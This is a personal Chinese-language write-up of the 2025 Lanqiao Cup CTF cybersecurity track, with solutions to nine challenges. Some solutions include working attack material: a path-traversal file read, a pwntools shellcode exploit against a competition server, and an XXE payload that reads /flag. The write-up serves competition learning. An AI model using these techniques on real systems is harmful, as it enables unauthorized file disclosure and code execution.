
2025 蓝桥杯网络安全赛道 个人writeup
2025 蓝桥杯网络安全赛道 个人writeup
一、解题情况:
第一次参加蓝桥杯网络安全赛道,全国所有地区一起参与,共同排名,在题目上来看,感觉简单题主要考思路,难题侧重考能力。PS:能取得胜利吗(o(╥﹏╥)o)
二、解题过程:
【1】情报收集 黑客密室逃脱
操作内容:
进入网站后发现日志给出两个关键信息:/secret
d9d1c4d9e0aac3a29db26d656b5da79c98d792a8c49fc8a66e696993a0c6c4aa9ad88fa0c9da999369ad
进入/secret后发现了/file?name=xxx,可以得到这是file协议访问绕过,通过测试可知此框架可以得到源码/file?name=file://../app.py看到源码,根据源码进行分析可以知道另一个key在hidden,访问/file?name=hidden.txt得到密钥:secret_key5060,通过解密脚本解密
from itertools import cycle def simple_decrypt(enc_hex: str, key: str) -> str: data = bytes.fromhex(enc_hex) key_values = [ord(k) for k in key] return ''.join(chr(b - k) for b, k in zip(data, cycle(key_values))) if __name__ == '__main__': enc_hex = 'd9d1c4d9e0aac3a29db26d656b5da79c98d792a8c49fc8a66e696993a0c6c4aa9ad88fa0c9da999369ad' key = 'secret_key5060' flag = simple_decrypt(enc_hex, key) print('Flag =', flag) |
flag值:
flag{6d789855-475e-4e4c-993c-aa85d05dadc3}
【2】数据分析 ezEvtx
操作内容:
【1】读题:本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀
直接在筛选当前日志那里选择警告,进入发现就一个文件,尝试交一下,还真对了。
flag值:
flag{confidential.docx}
【3】情报收集 flowzip
操作内容:
是个正常人的第一想法就是wireshark,打开后发现一堆zip返回包,以为是提取,但是提取了几个后发现没有思路,尝试用查找flag软件进行查找,还真找到了,有点反正常思路。
flag值:
flagic6db63e6-6459-4e75-bb37-3aec5d2b947b}
【4】密码破解 Enigma
操作内容:
直接解密就行
flag值:
flag{HELLO CTFER THISI SAMES SAGEF ORYOU}(空格去掉)
【5】密码破解 ECBTrain
操作内容:
netcat连接后,先注册,发现注册后返回auth(base64编码),在登陆的时候需要输入auth,第一次尝试给出的auth输入进去,发现得到的base64解密后不是flag,发现对auth加密后在输入进去的是明文,加密再解密即可
import base64 def process_base64_string(encoded_string: str) -> str: """提取Base64解码数据的最后16字节并重新编码为Base64字符串""" return base64.b64encode(base64.b64decode(encoded_string)[-16:]).decode() if __name__ == "__main__": input_string = "5P11TbEOqmL1oO50uA3RAuYDAShfRHesjVDxvulTEAk=" print("处理后的Base64字符串:", process_base64_string(input_string)) |
flag值:
flag{69916f0f-eb6d-436e-ad27-0eb62dcbe740}
【6】密码破解 easy_AES
操作内容:
正常AES,解密即可
from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from collections import defaultdict from functools import reduce from typing import List, Dict, Set, Tuple # 常量定义 CIPHER = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6' KEY1_HEX = "74aeb356c6eb74f364cd316497c0f714" GIFT = 64698960125130294692475067384121553664 def split_to_nibbles(value: int, hex_str: str = None) -> List[int]: """将128位整数或32字符hex字符串拆分为32个半字节(4位)""" if hex_str: return [int(c, 16) for c in hex_str] return [ (value >> (124 - i*4)) & 0xF for i in range(32) ] def find_valid_keys() -> List[Tuple[str, str]]: # 预处理数据 gift_nibbles = split_to_nibbles(GIFT) key1_nibbles = split_to_nibbles(0, KEY1_HEX)
# 生成候选位置 possible_candidates = [ [x for x in range(16) if (x & m) == b] for m, b in zip(key1_nibbles, gift_nibbles) ] # 构建候选映射 position_map = defaultdict(list) for idx, nibble in enumerate(key1_nibbles): position_map[nibble].append(idx) # 筛选有效候选 nibble_candidates = { nibble: reduce(lambda a,b: a & b, (set(possible_candidates[i]) for i in positions)) for nibble, positions in position_map.items() } # 深度优先搜索 solutions = [] visited = set() mapping = {} def backtrack(items: List[Tuple[int, Set[int]]]) -> bool: if not items: key0_hex = "".join(f"{mapping[nibble]:x}" for nibble in key1_nibbles) cipher = AES.new(bytes.fromhex(key0_hex), AES.MODE_CBC, bytes.fromhex(KEY1_HEX)) plaintext = unpad(cipher.decrypt(CIPHER), 16)
if plaintext.startswith(b"flag{"): solutions.append((key0_hex, plaintext.decode())) return True return False curr_nibble, candidates = items[0] for candidate in candidates - visited: mapping[curr_nibble] = candidate visited.add(candidate) if backtrack(items[1:]): return True visited.remove(candidate) del mapping[curr_nibble] return False # 按候选数量排序以优化搜索 sorted_items = sorted( [(n, set(c)) for n, c in nibble_candidates.items()], key=lambda x: len(x[1]) ) if backtrack(sorted_items): return solutions return [] if __name__ == "__main__": if solutions := find_valid_keys(): for key, flag in solutions: print(f"Found Key: {key}") print(f"Flag: {flag}") |
flag值:
flag{886769b5-2301-4c37-bb73-4480b4eab682}
【7】逆向分析 ShadowPhases
操作内容:
找到源码后发现就是动态调试,在比较str1和str2的地方加一个停止,进入调试找到str2就可以了
flag值:
flag{0fa830e7-b699-4513-8e01-51f35b0f3293}
【8】漏洞挖掘分析 RuneBreach
操作内容:
查壳发现没有,直接放进ida,main函数mmap了一片内存区域,在后面的代码发现mmap的地址设为rwx,写shellcode执行
from pwn import * # 配置上下文 context.arch = 'amd64' context.log_level = 'info' context.timeout = 5 # 添加超时设置 def exploit(): # 建立连接 # conn = process('./chall') conn = remote('39.105.2.63', 29297) try: # 发送四次拒绝应答 for _ in range(4): conn.sendlineafter(b'/N): ', b'n') # 接收执行区域地址 exec_addr = conn.recvuntil(b'!', drop=True).split()[-1] exec_addr = int(exec_addr, 16) log.info(f"Executable area @ {hex(exec_addr)}") # 生成可靠的文件读取shellcode shellcode = asm(f''' /* 打开文件 */ {shellcraft.pushstr('./flag')} {shellcraft.open('rsp', 'O_RDONLY', 0)}
/* 读取文件到栈内存 */ {shellcraft.read('rax', 'rsp', 0x100)}
/* 输出到标准输出 */ {shellcraft.write(1, 'rsp', 'rax')}
/* 安全退出 */ {shellcraft.exit(0)} ''') # 发送并触发shellcode conn.sendline(shellcode) conn.recvrepeat(0.5) # 等待输出
# 获取flag结果 flag = conn.recvuntil(b'}', timeout=3).decode() if flag: log.success(f"Flag captured: {flag}") else: log.warning("No flag found in response") finally: conn.close() if __name__ == '__main__': exploit() |
【9】漏洞挖掘分析 星际XML解析器
操作内容:
很正常的XML外部实体注入
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY shell SYSTEM "file:///flag" >]> <message> <user>&shell;</user> </message> |
flag值:
flag{a25134dd-f8fe-4187-9e73-27703fe98115}
更多推荐
所有评论(0)